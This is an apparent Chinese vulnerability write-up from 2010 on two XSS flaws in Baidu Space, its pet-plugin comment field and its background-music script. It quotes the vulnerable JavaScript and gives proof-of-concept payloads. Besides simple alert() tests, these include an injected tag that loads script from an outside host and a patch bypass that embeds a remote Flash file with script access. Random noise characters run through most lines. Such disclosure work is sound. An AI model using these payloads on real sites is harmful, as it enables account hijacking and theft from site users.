百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. % V) O6 m1 T5 k* z. Z0 w
/ c. s. \$ ?( t
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. * _$ t! V+ N# h. X/ b. T3 ~* b
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 8 j9 R; y) W) h; t
: M. }7 B5 z, G# r K
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
; }* e. ?2 e# D) h$ n其中BdUtil.insertWBR为 : \- r# h% j5 s& N9 v' E r
function(text, step) {
& B8 M* K4 Y% s% { var textarea = textAreaCache || getContainer(); $ Y6 c" i3 i3 b! L. V4 e$ u. f/ f
if (!textarea) { 1 `& ?& q! f, X& f! R
return text; ' |% l, n f( A4 U9 S/ b" X; G( c
} ; p( C6 ]5 ]& ]$ r* s. r! ^
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); 5 r" B: x, s$ t8 U: n
var string = textarea.value; % A1 \. g$ t- Z2 A( M$ _0 I3 I9 w
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); ' x* p3 Y9 p, C( ]$ c4 |
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
& _7 W1 _% ^" x# q7 q0 w return result; . b8 V4 F% k- \9 }
}
! O3 o9 z" l$ {$ J0 |在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. : v; Q( L/ R ?; U! N; N
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
" \! s ]% W( c7 {# i / \0 Z: T$ p9 L. l
二:creatbgmusic() Dom-Xss Bug
; Z. h- M; L$ ^3 y- W. C百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 # h3 O+ x# h3 W. h7 K2 [6 ]/ d. h! t
8 y" w9 D8 L% o7 t9 M( z2 u8 k在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: & c4 z* b2 w# p& ^, T
- q9 u. f1 V' o4 u* [+ ^: `8 a
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
7 h, ~! x6 W- d. o8 F0 |. X //传入的murl赋值到bgmusic1和bgmusic2中 - C `3 ] N- F
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
+ s+ K" v" M: ~* s3 X var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
2 S- y2 x# @9 P1 G if (musicnum <= 1) { 9 q3 S$ x+ n! T' l8 h1 c/ o' [3 P
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
0 \# `, |: O1 K/ a }
0 l2 ]- f8 }! Q bgmusic1 += "</OBJECT>"; b* j1 _, {! ~! Y* c
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
- r! y9 n: x/ ^. @( j; F if (musicnum <= 1) {
% _' o& E, S8 ` bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
2 O: M7 R+ \: v5 i } # l4 q2 u6 T' f* s k* e/ j7 R
bgmusic2 += "> </EMBED>";
; g# Z. g0 ~2 x: E7 _( _ var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
% h2 i2 K2 }5 P# U1 W6 G var bgmus = detectWMP(); 8 P, M$ i& E. h% w
if (functype == "FckMusicHelper") {
( H: G5 T4 v; m. R, B. q5 J) Z if (bgmus.installed) {
. Z9 t7 u4 `* U5 B+ j if (bgmus.type == "IE") {
2 M# h$ K) o' {8 z+ Q3 s return bgmusic1;
+ d% Q: ?: `) r- L: a8 \1 L } else if (bgmus.type == "NS") {
; ]2 r; m& y: V: ` _1 `% i; M2 R" s return bgmusic2; ' _/ d7 L& i; [; H0 u6 @7 w: g4 a
}
# r4 d5 Y# K' z* {/ a- \9 _ } else { & d" ]# O) R4 N& P3 N
return bgmusic3;
' K) c9 x) V1 j }
. G2 z9 s, {/ n' t( } } else { - h6 E3 i$ R+ X5 ?8 @# B* s
if (bgmus.installed) {
. t% _* o- J8 _1 c9 l4 s- m //document.write 直接输出bgmusic变量 导致xss
; Z2 K! O& M" G5 x9 k0 s4 E# S) i if (bgmus.type == "IE") { ' B' I/ \" h% L7 h: ^$ S
document.write(bgmusic1);
8 P# q6 S# t% U" v } else if (bgmus.type == "NS") { + k/ y7 W3 j6 c. ~! y
document.write(bgmusic2); ! A- X5 u) M, ?! v' B, f# W, n; \
}
$ Y# ~/ K. p# [2 s } else { $ i! J _3 Y* M) g r! e5 S
document.write(bgmusic3);
3 R( B2 K* s; P5 O |6 ?) b/ ]3 e } & M# E1 s5 m% h' X) R5 Q+ V
return "";
/ i2 z9 O! W0 P7 ^6 d* d }
$ n: d% b, {7 o" o3 K' C} - e8 C) S x0 R- I; D1 ?( r b0 w
4 L5 p0 u! \& {3 ]在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
* W/ ? t% m; y" q& T" Q6 g! J2 u# G) ^- q! ~& H: f! {8 {
function initBlogTextForFCK(){
% K- J# J& T) `2 F2 x6 d- y. P* m//fck init music
' R5 E0 A2 W. g+ Kif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 3 T( B+ C; X" G$ P
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
8 G0 B4 V& I) l3 f- L3 y$ Z6 Hvar isAutoPlay=true; 0 ^9 w; R1 M( E5 k: m! ?* f
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. : ]! ]6 g: b1 V$ [; y
var img=imgBox; + h" F# J0 v0 S+ g# ^4 V0 R1 L
if(img.getAttribute(’rel’)){
0 W+ T6 w2 t! K7 m" J5 _( y2 D6 u var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
% Y* a9 N% h- _ var musicDiv = document.createElement("SPAN"); 3 _# t4 l4 P- s: Y) c; k
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
* a k, Q2 F3 ~* l) e ' s- _4 ~/ x. Z. V& H+ y0 g, u
..........................
6 u( ~: u. b1 C- a% Q( a ! \" V% z6 E3 Y, g
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. $ ]0 N$ E7 K1 o1 y1 b* H) Q
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
/ z. Y0 h# u5 X0 j! k shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
* G: r7 \& j; H7 [& C musicDiv.innerHTML=shtml;
% M. a+ |/ s( H8 d; M! O4 y i--;n--; ' U' q5 ~7 X, Y) g9 B* P
}
4 Y1 X! T; m5 B* j}
/ a2 J) ]! c& `' U! [% c2 E' [* H& A, s" Y1 V/ z2 | b
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
$ M3 d. f4 Q4 V" F2 B8 C9 g ! s# t1 p8 y% ~$ \4 k6 O" K" L6 F
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> 5 P# |6 F+ ^' }7 b6 x T" X. r
* p+ P c4 ?0 o1 b* Q3 f# U, B- u
等待官方补丁
/ o) r' E9 t5 q* K/ e
' G b' H9 y1 ~2 e6 }; Mupdate 2010年5月13日
+ L) K4 _5 z7 F5 W
* z+ R& n( S }4 ^官方补丁: # m2 w) [, H0 {1 i3 R. I
# E; \, d: O* q! R) t+ B: O+ v5 tvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
" K3 }& O2 N$ \8 o# x) K改为:
- i) p( T* a) d( `3 m3 dvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); 5 v" L: r# @# ~: N$ \ B4 p0 V- z
" i& t4 A% y8 A- eupdate 2010年5月13日 21:50:37
) Q/ w5 z0 Y# |% K( [3 T7 @) s/ e( c- N! G0 O: y% O( Q& Q
补丁存在漏洞 没有过滤" 可以继续跨: % K7 q. w2 @) v! k
% G2 D: V5 M: X& M) a, P; h* lNEW POC: 3 q P1 y9 _# Y/ W; f
( P8 F' a& R: [) [4 I9 B& ?; `<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
# Y6 D& ?: L# x5 u# l- l* C2 L% }1 \! u$ n, ]8 k
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
6 z4 n0 v6 Z, m : @$ A( I4 z w1 h
|